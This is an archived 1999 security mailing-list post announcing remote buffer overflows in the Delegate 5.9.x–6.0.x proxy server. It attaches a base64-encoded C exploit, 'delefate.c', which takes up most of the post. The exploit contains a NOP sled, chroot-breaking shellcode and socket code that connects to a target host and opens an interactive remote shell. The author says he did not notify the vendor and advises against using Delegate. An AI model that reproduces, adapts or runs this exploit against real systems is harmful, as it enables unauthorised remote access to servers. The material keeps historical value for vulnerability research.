Delegate 5.9.x - 6.0.x remote exploit (possibly others)

From: Sebastian (scutat_private-BERLIN.DE)
Date: Sat Nov 13 1999 - 10:54:39 PST

  • Next message: Solar Designer: "Re: CERT Advisory CA-99-14 Multiple Vulnerabilities in BIND"

      This message is in MIME format.  The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware tools.
      Send mail to mimeat_private for more info.
    
    ---1463811696-1618997114-942519279=:12742
    Content-Type: TEXT/PLAIN; charset=US-ASCII
    
    
    Hi.
    
    Delegate, a multiple-service proxy server contains several hundret buffer
    overflows and is horrible insecure in general.
    
    Attached there is a demonstration exploit for just one remotely
    exploitable buffer overflow for delegate, compiled on linux (this bug is
    exploitable on several other platforms, too).
    
    I didn't bothered to notify the author of delegate, since it is
    impossible to make delegate secure short time (it contains over 1000
    strcpy's and over 500 sprintf's). Just don't use delegate anymore.
    
    
    ciao,
    scut / teso security
    [http://teso.scene.at/]
    
    --
    - scutat_private-berlin.de - http://nb.in-berlin.de/scut/ - sacbuctd@ircnet  --
    -- you don't need a lot of people to be great, you need a few great to be --
    -- the best -----------------------------------------------------------------
    --- nuclear arrival weapon spy agent remain undercover, hi echelon ----------
    
    ---1463811696-1618997114-942519279=:12742
    Content-Type: TEXT/plain; name="delefate.c"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.05.9911131954390.12742at_private-berlin.de>
    Content-Description: delefate.c
    Content-Disposition: attachment; filename="delefate.c"
    
    LyogZGVsZWZhdGUuYw0KICogZGVsZWdhdGUgNS45LnggLSA2LjAueCByZW1v
    dGUgZXhwbG9pdA0KICoNCiAqIHB1YmxpYw0KICoNCiAqIHdpbGwgb3BlbiBh
    IHNoZWxsIHdpdGggdGhlIHByaXZpbGVnZXMgb2YgdGhlIG5vYm9keSB1c2Vy
    Lg0KICoNCiAqIDE5OTkvMTMvMTEgYnkgc2N1dCBvZiB0ZXNvIFtodHRwOi8v
    dGVzby5zY2VuZS5hdC9dDQogKg0KICogd29yZCB0byB3aG9sZSB0ZWFtIHRl
    c28sIEFETSwgdzAwdzAwLCBiZWF2dWggYW5kIHN0ZWFsdGggOikuDQogKiBz
    cGVjaWFsIHRoYW5rcyB0byB4ZHIgZm9yIGRvbmF0aW5nIGEgYml0IG9mIGhp
    cyBlbGl0ZSBkZWJ1Z2dpbmcgc2tpbGx6Lg0KICovDQoNCiNpbmNsdWRlIDxz
    eXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5oPg0KI2luY2x1ZGUg
    PHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5j
    bHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5j
    bHVkZSA8ZXJybm8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRl
    IDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPGZj
    bnRsLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCg0KDQojZGVmaW5lCVhQX09G
    RlNFVAkJMHhiZmZmZTA3NAkvKiBvZmZzZXQgKi8NCnVuc2lnbmVkIGxvbmcg
    aW50CQl4cF9vZmYgPSBYUF9PRkZTRVQ7DQoNCi8qIHlvdSBkb24ndCBoYXZl
    IHRvIG1vZGlmeSB0aGlzIDopIGkgaG9wZSA6KQ0KICovDQojZGVmaW5lCVhQ
    X05FVFdPUktfRkQJCTEyDQojZGVmaW5lCVhQX05FVFdPUktfT0ZGU0VUCTB4
    MDAwMDAxMDEJLyogZml4ZWQgcmVsYXRpdmUgbmV0d29yayBzb2NrZXQgb2Zm
    c2V0ICovDQojZGVmaW5lCVhQX1NIRUxMQ09ERV9PRkZTRVQJMHgwMDAwMDEw
    NAkvKiBmaXhlZCByZWxhdGl2ZSByZXRhZGRyIG9mZnNldCAqLw0KI2RlZmlu
    ZQlYUF9ESUZGCQkJMHgwMDAwMDAwZQkvKiAxNCBieXRlcyBhZnRlciBYUF9P
    RkZTRVQgc3RhcnRzIHRoZSBzaGVsbGNvZGUgKi8NCg0KI2RlZmluZQlYUF9T
    SDJfRkQxCQkweDAwMDAwMDExDQojZGVmaW5lCVhQX1NIMl9GRDIJCTB4MDAw
    MDAwMWQNCiNkZWZpbmUJWFBfU0gyX0ZEMwkJMHgwMDAwMDAyYQ0KDQoNCiNk
    ZWZpbmUJR1JFRU4JIlxFWzMybSINCiNkZWZpbmUJQk9MRAkiXEVbMW0iDQoj
    ZGVmaW5lCU5PUk1BTAkiXEVbbSINCiNkZWZpbmUJUkVECSJcRVszMW0iDQoN
    Ci8qIGxvY2FsIGZ1bmN0aW9ucw0KICovDQp2b2lkCQkJdXNhZ2UgKHZvaWQp
    Ow0Kdm9pZAkJCXNoZWxsIChpbnQgc29ja2V0KTsNCnVuc2lnbmVkIGxvbmcg
    aW50CW5ldF9yZXNvbHZlIChjaGFyICpob3N0KTsNCmludAkJCW5ldF9jb25u
    ZWN0IChzdHJ1Y3Qgc29ja2FkZHJfaW4gKmNzLCBjaGFyICpzZXJ2ZXIsDQoJ
    dW5zaWduZWQgc2hvcnQgaW50IHBvcnQsIGludCBzZWMpOw0KDQoNCi8qIGJl
    Y2F1c2UgdGhlIGJ1ZmZlciBpcyByYXRoZXIgc21hbGwgKDI1NiBieXRlcyks
    IHdlIHVzZSBhIG1pbmltYWxpc3RpYw0KICogcmVhZCgpIHNoZWxsY29kZSB0
    byBpbmNyZWFzZSB0aGUgY2hhbmNlcyB0byBoaXQgYSBjb3JyZWN0IG9mZmV0
    DQogKi8NCnVuc2lnbmVkIGNoYXIJc2hlbGxjb2RlMVtdID0NCgkiXHg3N1x4
    NjhceDZmXHg2OVx4NzNceDNhXHgyZlx4MmZceDYxXHgyMFx4NjJceDIwXHgz
    MVx4MjBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
    MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5
    MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
    XHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
    XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgki
    XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
    eDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBc
    eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIN
    CgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
    OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4
    OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
    MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
    MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5
    MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
    XHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
    XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkw
    XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
    eDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
    eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCgkiXHg5MFx4OTBc
    eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
    OTBceDkwXHg5MCINCgkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KDQoJ
    LyogMzAgYnl0ZSByZWFkKCkgc2hlbGxjb2RlIGJ5IHNjdXQgKi8NCgkiXHgz
    M1x4ZDJceDMzXHhjMFx4ZWJceDAzXHg1OVx4ZWJceDA1XHhlOFx4ZjhceGZm
    XHhmZlx4ZmZceDgwXHhjMiINCgkiXHgxMFx4MDNceGNhXHhjMVx4YzJceDA0
    XHhiMFx4MDNceDMzXHhkYlx4YjNceDBjXHhjZFx4ODAiDQoJCQkJCQkvKiAg
    ICAgXl4gbmV0d29yayBmZCAqLw0KCSJceDgyXHhlMFx4ZmZceGJmIgkvKiBy
    ZXR1cm4gYWRkcmVzcyAqLw0KDQoJIlx4MGRceDBhIjsNCg0KDQovKiB1aWQr
    Y2hyb290LWJyZWFrK3NoZWxsIHNoZWxsY29kZSBieSBsYW1lcnosIHRoYW5r
    cyAhDQogKiBzbGlnaHRseSBtb2RpZmllZCBieSBzY3V0IHRvIHRha2UgY2Fy
    ZSBvZiB0aGUgbmV0d29yayBzb2NrZXQNCiAqLw0KdW5zaWduZWQgY2hhciBz
    aGVsbGNvZGUyW109DQoJIlx4MzFceGMwXHgzMVx4ZGJceDMxXHhjOVx4YjBc
    eDQ2XHhjZFx4ODBceDMxXHhjMFx4MzFceGRiXHg4OVx4ZDkiDQoJIlx4YjNc
    eDBjXHhiMFx4M2ZceGNkXHg4MFx4MzFceGMwXHgzMVx4ZGJceDg5XHhkOVx4
    YjNceDBjXHg0MVx4YjAiDQoJIlx4M2ZceGNkXHg4MFx4MzFceGMwXHgzMVx4
    ZGJceDg5XHhkOVx4YjNceDBjXHg0MVx4NDFceGIwXHgzZlx4Y2QiDQoJIlx4
    ODBceDMxXHhjMFx4MzFceGRiXHg0M1x4ODlceGQ5XHg0MVx4YjBceDNmXHhj
    ZFx4ODBceGViXHg2Ylx4NWUiDQoJIlx4MzFceGMwXHgzMVx4YzlceDhkXHg1
    ZVx4MDFceDg4XHg0Nlx4MDRceDY2XHhiOVx4ZmZceDAxXHhiMFx4MjciDQoJ
    Ilx4Y2RceDgwXHgzMVx4YzBceDhkXHg1ZVx4MDFceGIwXHgzZFx4Y2RceDgw
    XHgzMVx4YzBceDMxXHhkYlx4OGQiDQoJIlx4NWVceDA4XHg4OVx4NDNceDAy
    XHgzMVx4YzlceGZlXHhjOVx4MzFceGMwXHg4ZFx4NWVceDA4XHhiMFx4MGMi
    DQoJIlx4Y2RceDgwXHhmZVx4YzlceDc1XHhmM1x4MzFceGMwXHg4OFx4NDZc
    eDA5XHg4ZFx4NWVceDA4XHhiMFx4M2QiDQoJIlx4Y2RceDgwXHhmZVx4MGVc
    eGIwXHgzMFx4ZmVceGM4XHg4OFx4NDZceDA0XHgzMVx4YzBceDg4XHg0Nlx4
    MDciDQoJIlx4ODlceDc2XHgwOFx4ODlceDQ2XHgwY1x4ODlceGYzXHg4ZFx4
    NGVceDA4XHg4ZFx4NTZceDBjXHhiMFx4MGIiDQoJIlx4Y2RceDgwXHgzMVx4
    YzBceDMxXHhkYlx4YjBceDAxXHhjZFx4ODBceGU4XHg5MFx4ZmZceGZmXHhm
    Zlx4MzAiDQoJIlx4NjJceDY5XHg2ZVx4MzBceDczXHg2OFx4MzFceDJlXHgy
    ZVx4MzFceDMxXHg3Nlx4NmVceDY3IjsNCg0KDQp2b2lkDQp1c2FnZSAodm9p
    ZCkNCnsNCglwcmludGYgKEdSRUVOIEJPTEQgImRlbGVmYXRlIC0gZGVsZWdh
    dGUgNS45LngsIDYuMC54IHJlbW90ZSIgTk9STUFMICJcbiINCgkJImJ5ICIg
    Qk9MRCAic2N1dCIgTk9STUFMICIgb2YgIiBSRUQgQk9MRCAidGVhbSB0ZXNv
    IiBOT1JNQUwgIlxuXG4iDQoNCgkJInVzYWdlLi4uLiA6IC4vZGVsZWZhdGUg
    PGhvc3Q+IDxwb3J0PiBbb2Zmc2V0LWFkZF1cbiINCgkJImV4YW1wbGUuLiA6
    IC4vZGVsZWZhdGUgbG9jYWxob3N0IDgwODAgLTEwMFxuXG4iDQoJCSJmb3Ig
    YnJ1dGUgZm9yY2luZywgdHJ5IGZyb20gLTIwMDAgdG8gNTAwIGluIHN0ZXBz
    IG9mIDIwMFxuXG4iKTsNCg0KCWV4aXQgKEVYSVRfRkFJTFVSRSk7DQp9DQoN
    CmludA0KbWFpbiAoaW50IGFyZ2MsIGNoYXIgKiphcmd2KQ0Kew0KCWludAkJ
    CXNvY2tldDsNCgljaGFyCQkJKnNlcnZlcjsNCglzdHJ1Y3Qgc29ja2FkZHJf
    aW4Jc2E7DQoJdW5zaWduZWQgc2hvcnQgaW50CXBvcnRfZGVzdDsNCgl1bnNp
    Z25lZCBjaGFyCQkqcmV0YWRkcl9wdHI7DQoJdW5zaWduZWQgbG9uZyBpbnQJ
    b2Zmc2V0Ow0KCXVuc2lnbmVkIGNoYXIJCSpzdGFjayA9IE5VTEw7DQoNCglp
    ZiAoYXJnYyA8IDMpDQoJCXVzYWdlICgpOw0KDQoJcHJpbnRmIChHUkVFTiBC
    T0xEICJkZWxlZmF0ZSA1LjkueCAtIDYuMC54IHJlbW90ZSBleHBsb2l0IiBO
    T1JNQUwgIlxuIg0KCQkiYnkgIiBCT0xEICJzY3V0IiBOT1JNQUwgIiBvZiAi
    IFJFRCBCT0xEICJ0ZWFtIHRlc28iIE5PUk1BTCAiXG5cbiIpOw0KDQoJaWYg
    KGFyZ2MgPT0gNCkgew0KCQlsb25nIGludAl4cF9hZGQgPSAwOw0KDQoJCWlm
    IChzc2NhbmYgKGFyZ3ZbM10sICIlbGQiLCAmeHBfYWRkKSAhPSAxKSB7DQoJ
    CQl1c2FnZSAoKTsNCgkJfQ0KCQl4cF9vZmYgKz0geHBfYWRkOw0KCX0NCglw
    cmludGYgKCIgIiBHUkVFTiAiLSIgTk9STUFMICIgdXNpbmcgb2Zmc2V0IDB4
    JTA4eFxuIiwgeHBfb2ZmKTsNCg0KCXNlcnZlciA9IGFyZ3ZbMV07DQoJcG9y
    dF9kZXN0ID0gYXRvaSAoYXJndlsyXSk7DQoNCgkvKiBkbyB0aGUgb2Zmc2V0
    DQoJICovDQoJcmV0YWRkcl9wdHIgPSBzaGVsbGNvZGUxICsgWFBfU0hFTExD
    T0RFX09GRlNFVDsNCglvZmZzZXQgPSB4cF9vZmYgKyBYUF9ESUZGOw0KCSpy
    ZXRhZGRyX3B0cgkJCQk9IChvZmZzZXQgJiAweDAwMDAwMGZmKSA+PiAgMDsN
    CgkqKHJldGFkZHJfcHRyICsgMSkJCQk9IChvZmZzZXQgJiAweDAwMDBmZjAw
    KSA+PiAgODsNCgkqKHJldGFkZHJfcHRyICsgMikJCQk9IChvZmZzZXQgJiAw
    eDAwZmYwMDAwKSA+PiAxNjsNCgkqKHJldGFkZHJfcHRyICsgMykJCQk9IChv
    ZmZzZXQgJiAweGZmMDAwMDAwKSA+PiAyNDsNCgkqKHNoZWxsY29kZTEgKyBY
    UF9ORVRXT1JLX09GRlNFVCkJPSAodW5zaWduZWQgY2hhcikgWFBfTkVUV09S
    S19GRDsNCgkqKHNoZWxsY29kZTIgKyBYUF9TSDJfRkQxKQkJPSAodW5zaWdu
    ZWQgY2hhcikgWFBfTkVUV09SS19GRDsNCgkqKHNoZWxsY29kZTIgKyBYUF9T
    SDJfRkQyKQkJPSAodW5zaWduZWQgY2hhcikgWFBfTkVUV09SS19GRDsNCgkq
    KHNoZWxsY29kZTIgKyBYUF9TSDJfRkQzKQkJPSAodW5zaWduZWQgY2hhcikg
    WFBfTkVUV09SS19GRDsNCg0KCXByaW50ZiAoIiAiIEdSRUVOICItIiBOT1JN
    QUwgIiBjb25uZWN0aW5nIHRvICIgR1JFRU4gIiVzOiVodSIgTk9STUFMICIu
    Li4iLCBzZXJ2ZXIsIHBvcnRfZGVzdCk7DQoJZmZsdXNoIChzdGRvdXQpOw0K
    DQoJc29ja2V0ID0gbmV0X2Nvbm5lY3QgKCZzYSwgc2VydmVyLCBwb3J0X2Rl
    c3QsIDQ1KTsNCglpZiAoc29ja2V0IDw9IDApIHsNCgkJcHJpbnRmICgiICIg
    UkVEIEJPTEQgImZhaWxlZCIgTk9STUFMICIuXG4iKTsNCgkJcGVycm9yICgi
    bmV0X2Nvbm5lY3QiKTsNCgkJZXhpdCAoRVhJVF9GQUlMVVJFKTsNCgl9DQoJ
    cHJpbnRmICgiICIgR1JFRU4gQk9MRCAiY29ubmVjdGVkLiIgTk9STUFMICJc
    biIpOw0KDQoJLyogc2VuZCBtaW5pbWFsaXN0aWMgcmVhZCgpIHNoZWxsY29k
    ZSAqLw0KCXByaW50ZiAoIiAiIEdSRUVOICItIiBOT1JNQUwgIiBzZW5kaW5n
    IGZpcnN0IHNoZWxsY29kZS4uLlxuIik7DQoJd3JpdGUgKHNvY2tldCwgc2hl
    bGxjb2RlMSwgc3RybGVuIChzaGVsbGNvZGUxKSk7DQoJc2xlZXAgKDEpOw0K
    DQoJLyogbm93IHNlbmQgdGhlIHJlYWwgc2hlbGxjb2RlIDotKSAqLw0KCXBy
    aW50ZiAoIiAiIEdSRUVOICItIiBOT1JNQUwgIiBzZW5kaW5nIHNlY29uZCBz
    aGVsbGNvZGUuLi5cbiIpOw0KCXdyaXRlIChzb2NrZXQsIHNoZWxsY29kZTIs
    IHN0cmxlbiAoc2hlbGxjb2RlMikpOw0KDQoJcHJpbnRmICgiICIgR1JFRU4g
    Ii0iIE5PUk1BTCAiIHNwYXduaW5nIHNoZWxsLi4uXG5cbiIpOw0KCXNoZWxs
    IChzb2NrZXQpOw0KCWNsb3NlIChzb2NrZXQpOw0KDQoNCglleGl0IChFWElU
    X1NVQ0NFU1MpOw0KfQ0KDQp1bnNpZ25lZCBsb25nIGludA0KbmV0X3Jlc29s
    dmUgKGNoYXIgKmhvc3QpDQp7DQoJbG9uZwkJaTsNCglzdHJ1Y3QgaG9zdGVu
    dAkqaGU7DQoNCglpID0gaW5ldF9hZGRyIChob3N0KTsNCglpZiAoaSA9PSAt
    MSkgew0KCQloZSA9IGdldGhvc3RieW5hbWUgKGhvc3QpOw0KCQlpZiAoaGUg
    PT0gTlVMTCkgew0KCQkJcmV0dXJuICgwKTsNCgkJfSBlbHNlIHsNCgkJCXJl
    dHVybiAoKih1bnNpZ25lZCBsb25nICopIGhlLT5oX2FkZHIpOw0KCQl9DQoJ
    fQ0KDQoJcmV0dXJuIChpKTsNCn0NCg0KDQovKiBvcmlnaW5hbCB2ZXJzaW9u
    IGJ5IHR5cG8sIG1vZGlmaWVkIGJ5IHNjdXQNCiAqLw0KDQp2b2lkDQpzaGVs
    bCAoaW50IHNvY2tldCkNCnsNCgljaGFyCWlvX2J1ZlsxMDI0XTsNCglpbnQJ
    bjsNCglmZF9zZXQJZmRzOw0KDQoJd2hpbGUgKDEpIHsNCgkJRkRfU0VUICgw
    LCAmZmRzKTsNCgkJRkRfU0VUIChzb2NrZXQsICZmZHMpOw0KDQoJCXNlbGVj
    dCAoc29ja2V0ICsgMSwgJmZkcywgTlVMTCwgTlVMTCwgTlVMTCk7DQoJCWlm
    IChGRF9JU1NFVCAoMCwgJmZkcykpIHsNCgkJCW4gPSByZWFkICgwLCBpb19i
    dWYsIHNpemVvZiAoaW9fYnVmKSk7DQoJCQlpZiAobiA8PSAwKQ0KCQkJCXJl
    dHVybjsNCgkJCXdyaXRlIChzb2NrZXQsIGlvX2J1Ziwgbik7DQoJCX0NCg0K
    CQlpZiAoRkRfSVNTRVQgKHNvY2tldCwgJmZkcykpIHsNCgkJCW4gPSByZWFk
    IChzb2NrZXQsIGlvX2J1Ziwgc2l6ZW9mIChpb19idWYpKTsNCgkJCWlmIChu
    IDw9IDApDQoJCQkJcmV0dXJuOw0KCQkJd3JpdGUgKDEsIGlvX2J1Ziwgbik7
    DQoJCX0NCgl9DQp9DQoNCg0KaW50DQpuZXRfY29ubmVjdCAoc3RydWN0IHNv
    Y2thZGRyX2luICpjcywgY2hhciAqc2VydmVyLA0KCXVuc2lnbmVkIHNob3J0
    IGludCBwb3J0LCBpbnQgc2VjKQ0Kew0KCWludAkJbiwgbGVuLCBlcnJvciwg
    ZmxhZ3M7DQoJaW50CQlmZDsNCglzdHJ1Y3QgdGltZXZhbAl0djsNCglmZF9z
    ZXQJCXJzZXQsIHdzZXQ7DQoNCgkvKiBmaXJzdCBhbGxvY2F0ZSBhIHNvY2tl
    dCAqLw0KCWNzLT5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCgljcy0+c2luX3Bv
    cnQgPSBodG9ucyAocG9ydCk7DQoJZmQgPSBzb2NrZXQgKGNzLT5zaW5fZmFt
    aWx5LCBTT0NLX1NUUkVBTSwgMCk7DQoJaWYgKGZkID09IC0xKQ0KCQlyZXR1
    cm4gKC0xKTsNCg0KCWNzLT5zaW5fYWRkci5zX2FkZHIgPSBuZXRfcmVzb2x2
    ZSAoc2VydmVyKTsNCglpZiAoY3MtPnNpbl9hZGRyLnNfYWRkciA9PSAwKSB7
    DQoJCWNsb3NlIChmZCk7DQoJCXJldHVybiAoLTEpOw0KCX0NCg0KCWZsYWdz
    ID0gZmNudGwgKGZkLCBGX0dFVEZMLCAwKTsNCglpZiAoZmxhZ3MgPT0gLTEp
    IHsNCgkJY2xvc2UgKGZkKTsNCgkJcmV0dXJuICgtMSk7DQoJfQ0KCW4gPSBm
    Y250bCAoZmQsIEZfU0VURkwsIGZsYWdzIHwgT19OT05CTE9DSyk7DQoJaWYg
    KG4gPT0gLTEpIHsNCgkJY2xvc2UgKGZkKTsNCgkJcmV0dXJuICgtMSk7DQoJ
    fQ0KDQoJZXJyb3IgPSAwOw0KDQoJbiA9IGNvbm5lY3QgKGZkLCAoc3RydWN0
    IHNvY2thZGRyICopIGNzLCBzaXplb2YgKHN0cnVjdCBzb2NrYWRkcl9pbikp
    Ow0KCWlmIChuIDwgMCkgew0KCQlpZiAoZXJybm8gIT0gRUlOUFJPR1JFU1Mp
    IHsNCgkJCWNsb3NlIChmZCk7DQoJCQlyZXR1cm4gKC0xKTsNCgkJfQ0KCX0N
    CglpZiAobiA9PSAwKQ0KCQlnb3RvIGRvbmU7DQoNCglGRF9aRVJPKCZyc2V0
    KTsNCglGRF9aRVJPKCZ3c2V0KTsNCglGRF9TRVQoZmQsICZyc2V0KTsNCglG
    RF9TRVQoZmQsICZ3c2V0KTsNCgl0di50dl9zZWMgPSBzZWM7DQoJdHYudHZf
    dXNlYyA9IDA7DQoNCgluID0gc2VsZWN0KGZkICsgMSwgJnJzZXQsICZ3c2V0
    LCBOVUxMLCAmdHYpOw0KCWlmIChuID09IDApIHsNCgkJY2xvc2UoZmQpOw0K
    CQllcnJubyA9IEVUSU1FRE9VVDsNCgkJcmV0dXJuICgtMSk7DQoJfQ0KCWlm
    IChuID09IC0xKQ0KCQlyZXR1cm4gKC0xKTsNCg0KCWlmIChGRF9JU1NFVChm
    ZCwgJnJzZXQpIHx8IEZEX0lTU0VUKGZkLCAmd3NldCkpIHsNCgkJaWYgKEZE
    X0lTU0VUKGZkLCAmcnNldCkgJiYgRkRfSVNTRVQoZmQsICZ3c2V0KSkgew0K
    CQkJbGVuID0gc2l6ZW9mKGVycm9yKTsNCgkJCWlmIChnZXRzb2Nrb3B0KGZk
    LCBTT0xfU09DS0VULCBTT19FUlJPUiwgJmVycm9yLCAmbGVuKSA8IDApIHsN
    CgkJCQllcnJubyA9IEVUSU1FRE9VVDsNCgkJCQlyZXR1cm4gKC0xKTsNCgkJ
    CX0NCgkJCWlmIChlcnJvciA9PSAwKSB7DQoJCQkJZ290byBkb25lOw0KCQkJ
    fSBlbHNlIHsNCgkJCQllcnJubyA9IGVycm9yOw0KCQkJCXJldHVybiAoLTEp
    Ow0KCQkJfQ0KCQl9DQoJfSBlbHNlDQoJCXJldHVybiAoLTEpOw0KDQpkb25l
    Og0KCW4gPSBmY250bChmZCwgRl9TRVRGTCwgZmxhZ3MpOw0KCWlmIChuID09
    IC0xKQ0KCQlyZXR1cm4gKC0xKTsNCg0KCXJldHVybiAoZmQpOw0KfQ0KDQo=
    ---1463811696-1618997114-942519279=:12742--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:11:53 PDT